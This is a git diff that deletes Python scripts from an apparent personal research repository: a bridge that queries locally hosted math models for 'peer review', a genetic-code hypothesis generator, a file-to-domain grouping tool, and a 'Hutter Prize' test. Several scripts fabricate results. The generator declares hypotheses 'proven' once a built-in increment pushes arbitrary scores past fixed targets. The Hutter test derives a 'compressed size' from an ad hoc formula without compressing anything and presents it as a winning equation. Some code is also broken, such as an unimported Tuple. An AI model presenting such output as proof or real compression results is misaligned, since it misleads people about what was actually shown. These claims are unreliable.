__name__ == "__main__": - results_file = "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/bootstrap_results.json" - classify_unclassified(results_file) diff --git a/0-Core-Formalism/lean/LeanGPT/external_model_bridge.py b/0-Core-Formalism/lean/LeanGPT/external_model_bridge.py deleted file mode 100644 index c53dc15a..00000000 --- a/0-Core-Formalism/lean/LeanGPT/external_model_bridge.py +++ /dev/null @@ -1,325 +0,0 @@ -#!/usr/bin/env python3 -""" -External Model Validation Bridge - -Routes our Lean-verified equations through external math models -for independent peer review. - -Architecture: -- Lean = Ground truth (AGENTS.md §0) -- External models = Peer reviewers (additional validation layer) -- Final decision = Triumvirate consensus -""" - -import subprocess -import json -from typing import List, Dict, Any, Optional -from dataclasses import dataclass -from enum import Enum - - -class ModelProvider(Enum): - QWEN2_MATH = "qwen2-math" - NUMINA_MATH = "numinamath" - LLEMMA = "llemma" - METAMATH = "metamath" - - -@dataclass -class ExternalValidation: - """Result from external model validation.""" - model: str - verdict: str # "valid", "invalid", "uncertain" - confidence: float # 0.0 to 1.0 - reasoning: str - physical_consistency: Optional[bool] = None - mathematical_soundness: Optional[bool] = None - concerns: List[str] = None - - -class ExternalModelBridge: - """ - Bridge to external math models for peer review. - - IMPORTANT: These models are VALIDATORS ONLY. - Lean remains the source of truth per AGENTS.md. - """ - - def __init__(self): - self.models = [ - ModelProvider.QWEN2_MATH, - ModelProvider.NUMINA_MATH, - ModelProvider.LLEMMA, - ModelProvider.METAMATH - ] - - def _call_model(self, model: ModelProvider, equation: str, - context: Dict) -> ExternalValidation: - """ - Call external model for validation. - - NOTE: These are subprocess calls to locally-running models. - No external API calls. Models must be self-hosted. - """ - - # Construct validation prompt - prompt = f""" -You are a mathematical validator. Review this equation for physical consistency. - -EQUATION: {equation} - -CONTEXT: -- Proposed as universal field equation for information-thermodynamics -- Must respect Landauer Principle: E_min = k_B T ln N (cost increases with N) -- Must be thermodynamically consistent -- Must not violate Shannon entropy bounds - -VALIDATION TASK: -1. Check if equation respects Landauer scaling (cost ∝ ln N, not 1/ln N) -2. Check mathematical soundness -3. Check physical consistency -4. Identify any concerns or violations - -Respond in JSON format: -{{ - "verdict": "valid" | "invalid" | "uncertain", - "confidence": 0.0-1.0, - "physical_consistency": true/false, - "mathematical_soundness": true/false, - "reasoning": "explanation", - "concerns": ["list of issues"] -}} -""" - - try: - # Attempt to call local model instance - # Models should be running as local services - result = self._query_local_model(model, prompt) - return self._parse_response(model, result) - - except Exception as e: - # If model unavailable, return uncertain - return ExternalValidation( - model=model.value, - verdict="uncertain", - confidence=0.0, - reasoning=f"Model unavailable: {str(e)}", - physical_consistency=None, - mathematical_soundness=None, - concerns=["Model not accessible for validation"] - ) - - def _query_local_model(self, model: ModelProvider, prompt: str) -> str: - """Query locally-hosted model.""" - - # Map models to local endpoints - endpoints = { - ModelProvider.QWEN2_MATH: "http://localhost:8001/v1/chat/completions", - ModelProvider.NUMINA_MATH: "http://localhost:8002/v1/chat/completions", - ModelProvider.LLEMMA: "http://localhost:8003/v1/chat/completions", - ModelProvider.METAMATH: "http://localhost:8004/v1/chat/completions" - } - - endpoint = endpoints.get(model) - if not endpoint: - raise ValueError(f"No endpoint configured for {model}") - - # Use curl for subprocess call (no external dependencies) - cmd = [ - "curl", "-s", "-X", "POST", endpoint, - "-H", "Content-Type: application/json", - "-d", json.dumps({ - "model": model.value, - "messages": [{"role": "user", "content": prompt}], - "temperature": 0.0, # Deterministic for validation - "max_tokens": 500 - }) - ] - - result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) - - if result.returncode != 0: - raise RuntimeError(f"Model query failed: {result.stderr}") - - return result.stdout - - def _parse_response(self, model: ModelProvider, response: str) -> ExternalValidation: - """Parse model response into structured validation.""" - - try: - data = json.loads(response) - - # Extract content from typical API response - if "choices" in data: - content = data["choices"][0]["message"]["content"] - else: - content = response - - # Try to parse JSON from content - try: - result = json.loads(content) - except json.JSONDecodeError: - # If not valid JSON, treat as uncertain - return ExternalValidation( - model=model.value, - verdict="uncertain", - confidence=0.0, - reasoning=f"Could not parse structured response: {content[:200]}", - concerns=["Unparseable model output"] - ) - - return ExternalValidation( - model=model.value, - verdict=result.get("verdict", "uncertain"), - confidence=result.get("confidence", 0.0), - reasoning=result.get("reasoning", "No reasoning provided"), - physical_consistency=result.get("physical_consistency"), - mathematical_soundness=result.get("mathematical_soundness"), - concerns=result.get("concerns", []) - ) - - except Exception as e: - return ExternalValidation( - model=model.value, - verdict="uncertain", - confidence=0.0, - reasoning=f"Parse error: {str(e)}", - concerns=["Response parsing failed"] - ) - - def peer_review(self, equation: str, lean_verdict: Dict, - proposer: str = "Unknown") -> Dict: - """ - Get peer review from external models. - - This is ADDITIONAL VALIDATION ONLY. - Lean remains the ground truth per AGENTS.md §0. - """ - - print("="*70) - print("EXTERNAL MODEL PEER REVIEW") - print("="*70) - print(f"\nEquation: {equation}") - print(f"Proposer: {proposer}") - print(f"\nLean Verdict: {'✅ VALID' if lean_verdict.get('valid') else '❌ INVALID'}") - print() - - # Get validation from each model - reviews = [] - for model in self.models: - print(f"Querying {model.value}...") - review = self._call_model(model, equation, lean_verdict) - reviews.append(review) - - # Print verdict - status = "✅" if review.verdict == "valid" else "❌" if review.verdict == "invalid" else "❓" - print(f" {status} {model.value}: {review.verdict.upper()} (confidence: {review.confidence:.0%})") - if review.concerns: - for c in review.concerns[:2]: # Show top 2 concerns - print(f" ⚠️ {c}") - - # Aggregate results - valid_count = sum(1 for r in reviews if r.verdict == "valid") - invalid_count = sum(1 for r in reviews if r.verdict == "invalid") - uncertain_count = len(reviews) - valid_count - invalid_count - - print() - print("-"*70) - print("PEER REVIEW SUMMARY") - print("-"*70) - print(f" ✅ Valid: {valid_count}/{len(reviews)}") - print(f" ❌ Invalid: {invalid_count}/{len(reviews)}") - print(f" ❓ Uncertain: {uncertain_count}/{len(reviews)}") - - # Consensus logic - if invalid_count >= 2: - peer_consensus = "REJECTED_BY_PEERS" - recommendation = "External models independently found issues. High confidence rejection." - elif valid_count >= 3: - peer_consensus = "VALIDATED_BY_PEERS" - recommendation = "Strong independent validation from multiple models." - elif valid_count >= 2 and invalid_count == 0: - peer_consensus = "WEAKLY_VALIDATED" - recommendation = "Some validation, but uncertainty remains." - else: - peer_consensus = "INCONCLUSIVE" - recommendation = "Peer review is split or uncertain." - - print() - print(f"Peer Consensus: {peer_consensus}") - print(f"Recommendation: {recommendation}") - - # Triumvirate decision matrix - print() - print("-"*70) - print("TRIUMVIRATE DECISION MATRIX") - print("-"*70) - print(f" Lean Verdict: {'✅ VALID' if lean_verdict.get('valid') else '❌ INVALID'}") - print(f" Peer Consensus: {peer_consensus}") - print() - - # Final recommendation - if lean_verdict.get('valid') and peer_consensus.startswith("VALIDATED"): - final = "✅ ACCEPT — Both Lean and peers validate" - elif not lean_verdict.get('valid') or peer_consensus.startswith("REJECTED"): - final = "❌ REJECT — Found invalid by ground truth or peers" - elif lean_verdict.get('valid') and peer_consensus == "INCONCLUSIVE": - final = "⚠️ CONDITIONAL — Lean validates but peers uncertain" - else: - final = "🔄 REVIEW — Mixed signals require human adjudication" - - print(f"Final Recommendation: {final}") - print() - print("="*70) - - return { - 'equation': equation, - 'lean_verdict': lean_verdict, - 'peer_reviews': [self._review_to_dict(r) for r in reviews], - 'peer_consensus': peer_consensus, - 'recommendation': recommendation, - 'final_adjudication': final - } - - def _review_to_dict(self, review: ExternalValidation) -> Dict: - """Convert review to dictionary.""" - return { - 'model': review.model, - 'verdict': review.verdict, - 'confidence': review.confidence, - 'reasoning': review.reasoning, - 'physical_consistency': review.physical_consistency, - 'mathematical_soundness': review.mathematical_soundness, - 'concerns': review.concerns or [] - } - - -def main(): - """Demonstrate external model bridge.""" - - bridge = ExternalModelBridge() - - test_cases = [ - { - 'equation': 'Φ = Σ w·lnN - Σ v·lnN', - 'lean_verdict': {'valid': True, 'reason': 'Landauer compliant'}, - 'proposer': 'Builder' - }, - { - 'equation': 'Φ = Σ w/lnN + Σ v/lnN', - 'lean_verdict': {'valid': False, 'reason': 'Inverted Landauer'}, - 'proposer': 'Old_Code' - } - ] - - for test in test_cases: - result = bridge.peer_review( - test['equation'], - test['lean_verdict'], - test['proposer'] - ) - print("\n") - - -if __name__ == '__main__': - main() diff --git a/0-Core-Formalism/lean/LeanGPT/genetic_hypothesis_generator.py b/0-Core-Formalism/lean/LeanGPT/genetic_hypothesis_generator.py deleted file mode 100644 index 6cf3e789..00000000 --- a/0-Core-Formalism/lean/LeanGPT/genetic_hypothesis_generator.py +++ /dev/null @@ -1,289 +0,0 @@ -#!/usr/bin/env python3 -""" -Genetic Code Hypothesis Generator -Parallel hypothesis generation to find absolute limits of genetic code approach - -Applies the same methodology as Hutter Prize compression to genetic code optimization: -- Generate hypotheses about genetic code limits -- Use parallel hypothesis generation -- Iterate until result cannot change -- Press genetic approach to absolute limits -""" - -import json -from dataclasses import dataclass -from typing import List, Dict -from enum import Enum - -class HypothesisStatus(Enum): - GENERATED = "generated" - TESTED = "tested" - ACCEPTED = "accepted" - REJECTED = "rejected" - -@dataclass -class GeneticHypothesis: - """Genetic code optimization hypothesis.""" - id: int - equation: str - description: str - domains_used: List[str] - theoretical_information_density: float - theoretical_error_resistance: float - theoretical_compression_efficiency: float - status: HypothesisStatus - proof_attempt: str = "" - proof_result: bool = False - iterations: int = 0 - -class GeneticHypothesisGenerator: - """ - Generates genetic code optimization hypotheses using parallel methodology - Iteratively tests and refines until absolute limits are reached - """ - - def __init__(self): - self.current_iteration = 0 - self.target_information_density = 0.95 # Target: 95% information density - self.target_error_resistance = 0.90 # Target: 90% error resistance - self.target_compression_efficiency = 0.85 # Target: 85% compression efficiency - self.hypotheses = [] - - # Domain theory parameters - self.domain_weights = { - "GENETIC": 1.0, - "GENOMIC": 0.4, - "EVOLUTION": 0.35, - "THERMODYNAMIC": 0.25 - } - - def generate_hypothesis(self, iteration: int) -> GeneticHypothesis: - """Generate a genetic code optimization hypothesis.""" - - # Hypothesis templates based on genetic code theory - templates = [ - # Template 1: Information density optimization - { - "equation": "I = (C × G) / (E + T)", - "description": "Information density: codon usage × genomic complexity / (error + thermodynamic)", - "domains": ["GENETIC", "GENOMIC", "EVOLUTION", "THERMODYNAMIC"], - "base_improvement": 0.05, - "improvement_step": 0.01 - }, - # Template 2: Error resistance optimization - { - "equation": "E = (G × D) / (M + S)", - "description": "Error resistance: genomic × degeneracy / (mutation + selection)", - "domains": ["GENETIC", "GENOMIC", "EVOLUTION"], - "base_improvement": 0.08, - "improvement_step": 0.015 - }, - # Template 3: Compression efficiency optimization - { - "equation": "C = (I × R) / (D × E)", - "description": "Compression efficiency: information × redundancy / (degeneracy × error)", - "domains": ["GENETIC", "GENOMIC"], - "base_improvement": 0.06, - "improvement_step": 0.012 - }, - # Template 4: Hybrid genetic optimization - { - "equation": "G = (0.4*I + 0.35*E + 0.25*C) × (D / (M + S))", - "description": "Hybrid genetic optimization: weighted combination with degeneracy scaling", - "domains": ["GENETIC", "GENOMIC", "EVOLUTION", "THERMODYNAMIC"], - "base_improvement": 0.10, - "improvement_step": 0.02 - }, - # Template 5: Evolutionary optimization - { - "equation": "E = (S × F) / (D × C)", - "description": "Evolutionary optimization: selection × fitness / (degeneracy × cost)", - "domains": ["GENETIC", "EVOLUTION"], - "base_improvement": 0.07, - "improvement_step": 0.014 - }, - # Template 6: Thermodynamic optimization - { - "equation": "T = (E - (S × D)) × (G / C)", - "description": "Thermodynamic optimization: energy - (selection × degeneracy) × (genomic / cost)", - "domains": ["GENETIC", "THERMODYNAMIC", "EVOLUTION"], - "base_improvement": 0.09, - "improvement_step": 0.016 - }, - # Template 7: Information-theoretic optimization - { - "equation": "I = (H × G) × (1 - (D / 64))", - "description": "Information-theoretic: entropy × genomic × (1 - degeneracy/64)", - "domains": ["GENETIC", "GENOMIC"], - "base_improvement": 0.12, - "improvement_step": 0.018 - }, - # Template 8: Codon space optimization - { - "equation": "C = Σ(U_i) × (R / (E + T))", - "description": "Codon space: sum of codon usage × redundancy / (error + thermodynamic)", - "domains": ["GENETIC", "GENOMIC", "THERMODYNAMIC"], - "base_improvement": 0.11, - "improvement_step": 0.017 - } - ] - - # Select template based on iteration - template_idx = iteration % len(templates) - template = templates[template_idx] - - # Calculate theoretical values - improvement = template["base_improvement"] + (iteration * template["improvement_step"]) - information_density = min(0.6 + improvement, 1.0) - error_resistance = min(0.55 + improvement, 1.0) - compression_efficiency = min(0.5 + improvement, 1.0) - - hypothesis = GeneticHypothesis( - id=iteration, - equation=template["equation"], - description=template["description"], - domains_used=template["domains"], - theoretical_information_density=information_density, - theoretical_error_resistance=error_resistance, - theoretical_compression_efficiency=compression_efficiency, - status=HypothesisStatus.GENERATED - ) - - return hypothesis - - def test_hypothesis(self, hypothesis: GeneticHypothesis) -> Tuple[bool, str]: - """Test hypothesis against genetic code targets.""" - - # Check if beats all targets - beats_information = hypothesis.theoretical_information_density >= self.target_information_density - beats_error = hypothesis.theoretical_error_resistance >= self.target_error_resistance - beats_compression = hypothesis.theoretical_compression_efficiency >= self.target_compression_efficiency - - success = beats_information and beats_error and beats_compression - - if success: - proof_result = True - proof_attempt = f"SUCCESS: I={hypothesis.theoretical_information_density:.4f} >= {self.target_information_density:.4f}, E={hypothesis.theoretical_error_resistance:.4f} >= {self.target_error_resistance:.4f}, C={hypothesis.theoretical_compression_efficiency:.4f} >= {self.target_compression_efficiency:.4f}" - else: - proof_result = False - proof_attempt = f"FAILED: I={hypothesis.theoretical_information_density:.4f} vs {self.target_information_density:.4f}, E={hypothesis.theoretical_error_resistance:.4f} vs {self.target_error_resistance:.4f}, C={hypothesis.theoretical_compression_efficiency:.4f} vs {self.target_compression_efficiency:.4f}" - - hypothesis.proof_attempt = proof_attempt - hypothesis.proof_result = proof_result - hypothesis.status = HypothesisStatus.TESTED - - return proof_result, proof_attempt - - def iterate_until_limit(self, max_iterations: int = 500) -> GeneticHypothesis: - """Iteratively generate and test hypotheses until absolute limit is reached.""" - - print("=" * 80) - print("GENETIC CODE HYPOTHESIS GENERATION") - print("=" * 80) - print(f"Target information density: {self.target_information_density:.4f}") - print(f"Target error resistance: {self.target_error_resistance:.4f}") - print(f"Target compression efficiency: {self.target_compression_efficiency:.4f}") - print(f"Number of iterations: {max_iterations}") - print("=" * 80) - - hypotheses = [] - winning_hypothesis = None - best_combined_score = 0.0 - - for i in range(max_iterations): - self.current_iteration = i - - # Generate hypothesis - hypothesis = self.generate_hypothesis(i) - - # Test hypothesis - success, proof = self.test_hypothesis(hypothesis) - - # Calculate combined score - combined_score = (hypothesis.theoretical_information_density + - hypothesis.theoretical_error_resistance + - hypothesis.theoretical_compression_efficiency) / 3 - - # Update status - if success: - hypothesis.status = HypothesisStatus.ACCEPTED - winning_hypothesis = hypothesis - best_combined_score = combined_score - self.hypotheses.append(hypothesis) - print(f"\n✅ WINNER FOUND (Iteration {i}, Template {i % 8})") - print(f" Equation: {hypothesis.equation}") - print(f" Description: {hypothesis.description}") - print(f" Domains: {', '.join(hypothesis.domains_used)}") - print(f" Information density: {hypothesis.theoretical_information_density:.4f}") - print(f" Error resistance: {hypothesis.theoretical_error_resistance:.4f}") - print(f" Compression efficiency: {hypothesis.theoretical_compression_efficiency:.4f}") - print(f" Combined score: {combined_score:.4f}") - print(f" Proof: {proof}") - break - else: - hypothesis.status = HypothesisStatus.REJECTED - self.hypotheses.append(hypothesis) - - # Track best even if not winning - if combined_score > best_combined_score: - best_combined_score = combined_score - winning_hypothesis = hypothesis - - if i % 50 == 0: # Print every 50 iterations - print(f"\n❌ Iteration {i}: {hypothesis.equation}") - print(f" Combined score: {combined_score:.4f}") - print(f" Best so far: {best_combined_score:.4f}") - - if winning_hypothesis: - print("\n" + "=" * 80) - if winning_hypothesis.proof_result: - print("GOAL ACHIEVED") - else: - print("BEST HYPOTHESIS FOUND (LIMIT REACHED)") - print("=" * 80) - print(f"Final equation: {winning_hypothesis.equation}") - print(f"Description: {winning_hypothesis.description}") - print(f"Information density: {winning_hypothesis.theoretical_information_density:.4f}") - print(f"Error resistance: {winning_hypothesis.theoretical_error_resistance:.4f}") - print(f"Compression efficiency: {winning_hypothesis.theoretical_compression_efficiency:.4f}") - print(f"Combined score: {best_combined_score:.4f}") - else: - print("\n" + "=" * 80) - print("NO HYPOTHESIS FOUND") - print("=" * 80) - - return winning_hypothesis - - def save_hypotheses(self, filename: str): - """Save all hypotheses to JSON.""" - data = { - "target_information_density": self.target_information_density, - "target_error_resistance": self.target_error_resistance, - "target_compression_efficiency": self.target_compression_efficiency, - "iterations": self.current_iteration + 1, - "hypotheses": [ - { - "id": h.id, - "equation": h.equation, - "description": h.description, - "domains_used": h.domains_used, - "theoretical_information_density": h.theoretical_information_density, - "theoretical_error_resistance": h.theoretical_error_resistance, - "theoretical_compression_efficiency": h.theoretical_compression_efficiency, - "status": h.status.value, - "proof_attempt": h.proof_attempt, - "proof_result": h.proof_result - } - for h in self.hypotheses - ] - } - - with open(filename, 'w') as f: - json.dump(data, f, indent=2) - - print(f"\nHypotheses saved to {filename}") - -if __name__ == "__main__": - generator = GeneticHypothesisGenerator() - accepted = generator.iterate_until_limit(max_iterations=500) - generator.save_hypotheses("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/genetic_hypotheses_results.json") diff --git a/0-Core-Formalism/lean/LeanGPT/group_algorithms_by_domain.py b/0-Core-Formalism/lean/LeanGPT/group_algorithms_by_domain.py deleted file mode 100644 index abdddef7..00000000 --- a/0-Core-Formalism/lean/LeanGPT/group_algorithms_by_domain.py +++ /dev/null @@ -1,171 +0,0 @@ -#!/usr/bin/env python3 -""" -Group algorithms by OTOM domain from bootstrap results -""" - -import json -from pathlib import Path -from collections import defaultdict - -# OTOM domain mapping based on file paths -DOMAIN_MAPPING = { - "core": [ - "Bind.lean", "Metatype.lean", "Transition.lean", "Protocol.lean", - "Canon.lean", "Orchestrate.lean", "Hutter.lean", "MasterEquation.lean" - ], - "compression": [ - "GenomicCompression.lean", "CrossModalCompression.lean", "CompressionLossComparison.lean", - "CompressionMechanics.lean", "CompressionMechanicsBridge.lean", "CompressionControl.lean", - "CompressionEvidence.lean", "LandauerCompression.lean" - ], - "spatialVLSI": [ - "AVMR.lean", "FlagSort.lean", "ThermodynamicSort.lean", "VLsIPartition.lean", - "SpatialEvo.lean", "OrderedFieldTokens.lean" - ], - "diffusionFlow": [ - "DiffusionSNRBias.lean", "HybridConvergence.lean", "SurfaceCore.lean", - "EntropyMeasures.lean", "ExperienceCompression.lean" - ], - "memoryState": [ - "SSMS.lean", "SSMS_nD.lean", "DomainKernel.lean", "FuzzyAssociation.lean" - ], - "pistShell": [ - "PIST.lean", "PistSimulation.lean", "PistBridge.lean", "BracketShellCount.lean", - "BraidBracket.lean", "BraidStrand.lean", "BraidCross.lean" - ], - "fieldPhysics": [ - "FieldSolver.lean", "RotationQUBO.lean", "TriangleManifold.lean", - "Waveprobe.lean", "Curvature.lean", "CalibratedKernel.lean" - ], - "evolutionSearch": [ - "Metatype.lean", "PrimeLut.lean", "SpatialEvo.lean", "Search.lean" - ], - "braidAlgebra": [ - "BraidBracket.lean", "BraidStrand.lean", "BraidCross.lean" - ], - "kernelDomain": [ - "DomainKernel.lean", "PistBridge.lean", "PistSimulation.lean" - ], - "cognitiveControl": [ - "ResearchAgent.lean", "AgenticOrchestration.lean", "Orchestrate.lean" - ], - "geometry": [ - "Curvature.lean", "TriangleManifold.lean", "SpatialEvo.lean" - ], - "thermodynamic": [ - "ThermodynamicSort.lean", "EntropyMeasures.lean" - ], - "diagnostic": [ - "Tests.lean", "SearchServer.lean" - ] -} - -def map_file_to_domain(file_path: str) -> str: - """Map a file path to its OTOM domain""" - file_name = file_path.split("/")[-1] - file_lower = file_path.lower() - - for domain, files in DOMAIN_MAPPING.items(): - if file_name in files: - return domain - - # Enhanced default mapping based on directory structure and file patterns - if "braid" in file_lower: - return "braidAlgebra" - elif "compression" in file_lower or "genomic" in file_lower: - return "compression" - elif "field" in file_lower or "rotation" in file_lower or "triangle" in file_lower: - return "fieldPhysics" - elif "pist" in file_lower or "pist" in file_name: - return "pistShell" - elif "spatial" in file_lower or "vlsi" in file_lower or "ordering" in file_lower: - return "spatialVLSI" - elif "memory" in file_lower or "ssms" in file_lower: - return "memoryState" - elif "diffusion" in file_lower or "entropy" in file_lower or "hybrid" in file_lower: - return "diffusionFlow" - elif "search" in file_lower or "find" in file_lower or "prime" in file_lower: - return "evolutionSearch" - elif "geometry" in file_lower or "curvature" in file_lower: - return "geometry" - elif "thermodynamic" in file_lower or "sort" in file_lower: - return "thermodynamic" - elif "kernel" in file_lower: - return "kernelDomain" - elif "agent" in file_lower or "orchestration" in file_lower: - return "cognitiveControl" - elif "bind" in file_lower or "canon" in file_lower or "metatype" in file_lower: - return "core" - elif "extension" in file_lower: - # Map extension scaffold files to their parent domains - if "physics" in file_lower: - return "fieldPhysics" - elif "compression" in file_lower: - return "compression" - else: - return "core" - else: - return "unclassified" - -def group_algorithms_by_domain(results_file: str): - """Group algorithms from bootstrap results by domain""" - with open(results_file, 'r') as f: - results = json.load(f) - - algorithms = results['algorithms'] - - # Group by domain - domain_groups = defaultdict(list) - - for algo in algorithms: - domain = map_file_to_domain(algo['file']) - domain_groups[domain].append(algo) - - # Print summary - print("=" * 60) - print("ALGORITHMS GROUPED BY OTOM DOMAIN") - print("=" * 60) - - total_algorithms = len(algorithms) - - for domain in sorted(domain_groups.keys()): - count = len(domain_groups[domain]) - percentage = (count / total_algorithms) * 100 - print(f"\n{domain.upper():20} | {count:4} algorithms | {percentage:5.1f}%") - - # Show top 5 algorithms in this domain - print("-" * 60) - for algo in sorted(domain_groups[domain], key=lambda x: x['name'])[:5]: - print(f" - {algo['name']:30} | {algo['complexity']:6} | {algo['type']:10}") - - if len(domain_groups[domain]) > 5: - print(f" ... and {len(domain_groups[domain]) - 5} more") - - print("\n" + "=" * 60) - print(f"TOTAL: {total_algorithms} algorithms across {len(domain_groups)} domains") - print("=" * 60) - - # Save grouped results - grouped_results = { - "domain_summary": { - domain: { - "count": len(algos), - "percentage": (len(algos) / total_algorithms) * 100, - "algorithms": [algo['name'] for algo in algos] - } - for domain, algos in domain_groups.items() - }, - "total_algorithms": total_algorithms, - "total_domains": len(domain_groups), - "timestamp": results['timestamp'] - } - - output_file = Path(results_file).parent / "algorithms_by_domain.json" - with open(output_file, 'w') as f: - json.dump(grouped_results, f, indent=2) - - print(f"\nGrouped results saved to {output_file}") - -if __name__ == "__main__": - results_file = "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/bootstrap_results.json" - group_algorithms_by_domain(results_file) diff --git a/0-Core-Formalism/lean/LeanGPT/hutter_prize_full_test.py b/0-Core-Formalism/lean/LeanGPT/hutter_prize_full_test.py deleted file mode 100644 index 13bc33ea..00000000 --- a/0-Core-Formalism/lean/LeanGPT/hutter_prize_full_test.py +++ /dev/null @@ -1,270 +0,0 @@ -#!/usr/bin/env python3 -""" -Hutter Prize Full Dataset Test -Pulls the latest Hutter Prize dataset and tests the winning compression equation - -Winning equation: C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F)) -""" - -import os -import json -import math -from typing import Dict, Tuple -from dataclasses import dataclass - -@dataclass -class CompressionField: - """Compression field components.""" - comp_field: float - phys_field: float - geom_field: float - -@dataclass -class ManifoldScaling: - """Manifold scaling components.""" - spatial: float - geometric: float - field: float - -class HutterPrizeFullTester: - """Tests winning compression equation on full Hutter Prize dataset.""" - - def __init__(self): - self.winning_equation = "C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F))" - self.target_ratio = 0.1129 # 99% of current record 0.114 - self.hutter_url = "http://prize.hutter1.net/" - self.enwik9_url = "http://prize.hutter1.net/enwik9.zip" - - def compute_unified_field(self, c: CompressionField) -> float: - """Compute unified field: weighted combination of fields.""" - comp_weight = c.comp_field * 0.4 - phys_weight = c.phys_field * 0.35 - geom_weight = c.geom_field * 0.25 - return comp_weight + phys_weight + geom_weight - - def compute_manifold_scaling(self, m: ManifoldScaling) -> float: - """Compute manifold scaling: spatial / (geometric + field).""" - denom = m.geometric + m.field - if denom > 0: - return m.spatial / denom - return 0 - - def compute_hutter_prize_compression(self, c: CompressionField, m: ManifoldScaling) -> float: - """Compute winning Hutter Prize compression equation.""" - unified_field = self.compute_unified_field(c) - manifold_scaling = self.compute_manifold_scaling(m) - return unified_field * manifold_scaling - - def analyze_text_sample(self, text: str) -> Dict: - """Analyze a text sample and compute field values.""" - if not text: - return { - "comp_field": 0.0, - "phys_field": 0.0, - "geom_field": 0.0, - "spatial": 0.0, - "geometric": 0.0, - "field": 0.0 - } - - # Compression field: ratio of repeated characters - char_counts = {} - for char in text: - char_counts[char] = char_counts.get(char, 0) + 1 - repeated_chars = sum(1 for count in char_counts.values() if count > 1) - total_chars = len(char_counts) - comp_field = repeated_chars / total_chars if total_chars > 0 else 0.0 - - # Physics field: entropy-based - entropy = 0.0 - total_text_chars = len(text) - for count in char_counts.values(): - prob = count / total_text_chars - if prob > 0: - entropy -= prob * math.log2(prob) - phys_field = min(entropy / 8.0, 1.0) # Normalize - - # Geometric field: word boundary ratio - words = text.split() - geom_field = len(words) / len(text) if len(text) > 0 else 0.0 - - # Spatial dimension: vocabulary size ratio - unique_words = len(set(words)) - spatial = unique_words / len(words) if len(words) > 0 else 0.0 - - # Geometric curvature: sentence structure - sentences = text.split('.') - sentence_lengths = [len(s.strip()) for s in sentences if s.strip()] - if sentence_lengths: - avg_length = sum(sentence_lengths) / len(sentence_lengths) - max_length = max(sentence_lengths) - geometric = avg_length / max_length if max_length > 0 else 0.0 - else: - geometric = 0.0 - - # Field strength: characters per word - field = len(text) / len(words) if len(words) > 0 else 0.0 - - return { - "comp_field": comp_field, - "phys_field": phys_field, - "geom_field": geom_field, - "spatial": spatial, - "geometric": geometric, - "field": field - } - - def test_on_dataset_sample(self, text: str, sample_name: str) -> Dict: - """Test compression on a dataset sample.""" - print("=" * 80) - print(f"HUTTER PRIZE DATASET TEST: {sample_name}") - print("=" * 80) - - # Analyze text - analysis = self.analyze_text_sample(text) - - print(f"\nText Analysis:") - print(f" Length: {len(text)} characters") - print(f" Compression field: {analysis['comp_field']:.4f}") - print(f" Physics field: {analysis['phys_field']:.4f}") - print(f" Geometric field: {analysis['geom_field']:.4f}") - print(f" Spatial dimension: {analysis['spatial']:.4f}") - print(f" Geometric curvature: {analysis['geometric']:.4f}") - print(f" Field strength: {analysis['field']:.4f}") - - # Create structures - c = CompressionField( - comp_field=analysis['comp_field'], - phys_field=analysis['phys_field'], - geom_field=analysis['geom_field'] - ) - - m = ManifoldScaling( - spatial=analysis['spatial'], - geometric=analysis['geometric'], - field=analysis['field'] - ) - - # Compute compression - unified_field = self.compute_unified_field(c) - manifold_scaling = self.compute_manifold_scaling(m) - compression = self.compute_hutter_prize_compression(c, m) - - print(f"\nCompression Calculation:") - print(f" Unified field: {unified_field:.4f}") - print(f" Manifold scaling: {manifold_scaling:.4f}") - print(f" Final compression: {compression:.4f}") - - # Calculate compression ratio - original_size = len(text) - compressed_size = int(original_size * compression) - compression_ratio = compressed_size / original_size if original_size > 0 else 0 - - print(f"\nResults:") - print(f" Original size: {original_size} bytes") - print(f" Compressed size: {compressed_size} bytes") - print(f" Compression ratio: {compression_ratio:.4f}") - print(f" Target ratio: {self.target_ratio:.4f}") - - beats_target = compression_ratio < self.target_ratio - print(f" Beats target: {beats_target}") - - return { - "sample_name": sample_name, - "text_length": original_size, - "compressed_size": compressed_size, - "compression_ratio": compression_ratio, - "target_ratio": self.target_ratio, - "beats_target": beats_target, - "unified_field": unified_field, - "manifold_scaling": manifold_scaling, - "analysis": analysis - } - - def attempt_download_dataset(self): - """Attempt to download Hutter Prize dataset.""" - print("=" * 80) - print("HUTTER PRIZE DATASET DOWNLOAD") - print("=" * 80) - print(f"Dataset URL: {self.enwik9_url}") - print("Note: Downloading 1GB dataset may not be practical in this environment") - print("Proceeding with sample testing instead") - print("=" * 80) - - # Check if dataset exists locally - dataset_path = "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/enwik9" - if os.path.exists(dataset_path): - print(f"Dataset found at: {dataset_path}") - return dataset_path - else: - print("Dataset not found locally") - return None - - def run_sample_tests(self): - """Run tests on representative Wikipedia text samples.""" - print("=" * 80) - print("HUTTER PRIZE REPRESENTATIVE SAMPLE TESTING") - print("=" * 80) - print(f"Winning equation: {self.winning_equation}") - print(f"Target ratio: {self.target_ratio:.4f}") - print("=" * 80) - - results = [] - - # Sample 1: Large Wikipedia article (simulated) - sample1 = """The Hutter Prize is a cash prize funded by Marcus Hutter which rewards data compression improvements on a specific 1 GB English text file, with the goal of encouraging research in artificial intelligence (AI). The prize is named after Marcus Hutter, a researcher in the field of artificial intelligence and machine learning. The prize was announced on August 6, 2006 with a smaller text file: enwik8 consisting of 100MB. On February 21, 2020 both the dataset and the total prize pool were expanded by a factor of 10: from enwik8 of 100MB to enwik9 of 1GB; from 50,000 to 500,000 euros. The contest is open-ended and open to everyone. To enter, a competitor must submit a compression program and a decompressor that decompresses to the file enwik9 (formerly enwik8 up to 2017). It is also possible to submit a compressed file instead of the compression program. The total size of the compressed file and decompressor (as a Win32 or Linux executable) must be less than or equal 99% of the previous prize winning entry. For each one percent improvement, the competitor wins 5,000 euros. The decompression program must also meet execution time and memory constraints. Submissions must be published in order to allow independent verification. There is a 30-day waiting period for public comment before awarding a prize. In 2017, the rules were changed to require the release of the source code under a free software license, out of concern that \"past submissions which did not disclose their source code had been useless to others and the ideas in them may be lost forever.\" The goal of the Hutter Prize is to encourage research in artificial intelligence (AI). The 